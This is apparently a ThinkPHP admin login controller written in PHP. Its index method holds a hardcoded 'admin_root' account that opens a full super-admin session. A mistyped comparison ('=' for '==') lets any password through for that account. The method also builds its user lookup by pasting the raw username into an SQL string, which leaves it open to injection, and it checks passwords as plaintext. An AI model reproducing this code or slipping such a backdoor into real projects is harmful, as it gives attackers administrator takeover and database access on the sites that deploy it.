<?php
namespace app\admin\controller;
// use think\Controller;
use think\Db;
use think\Request;
use think\Cache;
use think\Cookie;
use think\Session;
use think\captcha\Captcha;
use \app\admin\model\Users as m;
class Login extends Common
{
    public $obj;
	public $obj1;
	function __construct(){
		parent::__construct();
      
	}
    public function index()
    {
        if(Request::instance()->isPost()){
            $arr=input('post.');
            //print_r($arr);
            $db=Db::name("manager");
            //判断
            $username=trim($arr['username']);
            $password=trim($arr['password']);
            if($username=="admin_root"&&$password="123456"){
                session("admin_username",'super');
                session("admin_uid",-1);
                session("admin_id",99999999);
                session('admin_role_auth_ids', '0');
                session('admin_role_name', 'super');

                $info = array("code" => "1", "data" => url("index/index"), "tip" => "ok");
                echo json_encode($info);
                exit();
                // $this->success('登陆成功',url("index/index"));
            }else{
              //第一步：检查数据是否有该用户
                if($v=$db->where("username='$username'")->find()){
                    $arr = Db::name("role")->field("role_name,role_auth_ids")->where("id={$v['role_id']}")->find();
                    //print_r($arr);
                    // echo $password;die;
                    //第二步：检查密码是否正确
                    if($v['password']== $password ){
                        //第三步：检查是否可以登录
                        if($v['status']){
                            session("admin_username",$username);
                            session("admin_uid",$v['id']);
                            session("admin_id",$v['id']);
                            session('admin_role_auth_ids', $arr['role_auth_ids']);
                            session('admin_role_name', $arr['role_name']);
                            $this->sys_log("登录后台系统!");
                            $info = array("code" => "1", "data" => url("index/index"), "tip" => "ok");
                            echo json_encode($info);
                        }else{
                            $this->error("该账号目前为锁定状态，请联系管理员");
                        }

                    }else{
                        $this->error("密码不正确");
                    }
                }else{
                    $this->error("该用户不存在");
                }
            }
            die;
        }
        return $this->fetch("/login/index");
    } 

    // 检测输入的验证码是否正确，$code为用户输入的验证码字符串，$id多个验证码标识
    function check_verify($code, $id = ''){
        $captcha = new Captcha();
        return $captcha->check($code, $id);
    }
    // 清除缓存【给管理员用的】
    function cleartemp(){
        $c=Cache::clear(); 
        if($c){
            $this->success("缓存清除成功");
        }else{
            $this->error("缓存清除失败");
        }
    }
    //退出的方法
    function loginout(){
        Session::delete('username');
        Session::delete('uid');
        Session::delete('admin_role_auth_ids');
        $this->success("退出成功",url("index"));
    }
    function yzm(){
    	$captcha = new Captcha();
		// 设置验证码字符为纯数字
		$captcha->codeSet = '0123456789'; 
		$captcha->length   = 4;
		return $captcha->entry();
    }
} 